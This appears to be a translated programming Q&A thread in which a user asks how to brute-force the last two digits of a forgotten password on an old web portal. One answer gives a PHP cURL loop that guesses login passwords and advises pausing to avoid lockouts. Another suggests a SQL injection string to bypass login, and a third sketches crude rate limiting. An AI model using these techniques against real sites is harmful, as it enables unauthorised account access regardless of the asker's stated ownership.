带密码破解的表单循环

时间:2012-01-27 23:51:32

标签: php html forms passwords

我有一个有点黑客的问题,我对如何做以下事情感兴趣(如果可能的话):

基本上,为了给出一些上下文,几年前我在一个网站上有一个帐户,并且有一个用户名和密码供门户网站登录并查看我的所有信息/成绩单等。自从几年前我停止使用它以来,我想要查看我提交的信息,我没有连接。问题是,我不能再记住密码(在某种程度上)。如果我使用“忘记密码”路线,它会链接到一个非常旧的hotmail地址,该地址在一段时间后停用。

我知道这会涉及某种密码破解,我不想谈论如何搞砸人们并获取他们的账户,但这是我的,我很好奇,如果这是可能的。

事情是,我有用户名,我有大部分密码,除了最后2个数字。我记不起来了。我知道我最后添加了两位数,因为我被迫(10到99之间)。

所以说我的用户名是'johnsmith'而且我的密码是'eatdog ##',有没有办法创建一个表单并反复循环直到密码被正确猜到?我知道他们可能会对每个'无论多少时间'的尝试次数提供某种保护。

感谢。

3 个答案:

答案 0 :(得分:2)

考虑到你只需要迭代< 100种不同的可能性,这应该是可以破解的。

查看包含登录表单的页面的HTML源代码,并查看表单提交的页面。让我们假设它是action.php。您将在HTML源代码中看到类似的内容:

<form id="login" action="action.php" method="post">

使用cURL向您发送action.php的POST请求,并使用您的用户名和密码作为POST参数(包括表单发布的任何其他内容)。在每次迭代时密码都在变化的循环中执行此操作。

您的代码看起来应该是这样的(在PHP中)

$username = "johnsmith";
$pass_base = "eatdog";
$url = "the url the form submits to";
$failed = ""; //the response returned by the server when login fails

for ($i=10; $i < 100; $i++)
{
    $password = $pass_base . $i;

    $ch = curl_init();
    curl_setopt($ch,CURLOPT_URL,$url);
    curl_setopt($ch,CURLOPT_POST,true);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);

    //set the POST parameters

    $data = curl_exec($ch);
    curl_close($ch);    

    if ($data != $failed)   //analyze the returned data
    {
        echo $password;     //this is your password
        break;
    }   
}

上面的代码是一个PHP脚本。它不会按原样运行。我只提供了剧本的内容。您可能需要进行一些基本的初始化 - 希望您对PHP有点熟悉。

您可以从localhost运行它(安装WAMP)。我估计运行所有密码的时间不应超过5分钟。

这只有在登录过程不是专门用于阻止暴力攻击的情况下才有效。如果在登录失败后将你锁定x分钟,则必须在每次y-1次尝试后暂停PHP脚本,以免触发锁定。

如果它开始要求验证密码,则上述脚本将无效。

答案 1 :(得分:0)

如果他们没有添加mysql_real_escape_string,那么你可以输入你的用户名并密码输入一个空格,然后输入

“或1 = 1

双引号将密码槽设置为空。或者将强制mysql查询检查第二个语句应该密码不返回正确的值,它不会。

因此1总是等于1,您将被允许登录。

您认为大多数网站都会使用简单的功能,因此它可能无法正常工作,但值得一次登录尝试。

答案 2 :(得分:-1)

如果您是该网站的所有者并且您想对此做些什么,那么一种非常粗略的方法可以防范这种情况(使用PHP):

$count = file_get_contents('/some/writable/dir/'$_POST['username']);
if (!$count) {
    $count = 0;
}
if ($count > 5) {
    print "Naughty!"; // or add a CAPTCHA or something
    exit;
}
$success = checkLogin($_POST['username'], $_POST['password']);
if ($success) {
    // set cookies, send them away with header('location:blah.php'); exit
} else {
    $count ++;
    file_put_contents('/some/writable/dir/'$_POST['username'], $count);
}

并设置一个cron作业,每隔五分钟左右删除/ some / writable / dir /中的所有文件。

就像我说的那样,它非常粗糙,但它应该让你知道如何开始为你的网站添加一些盔甲。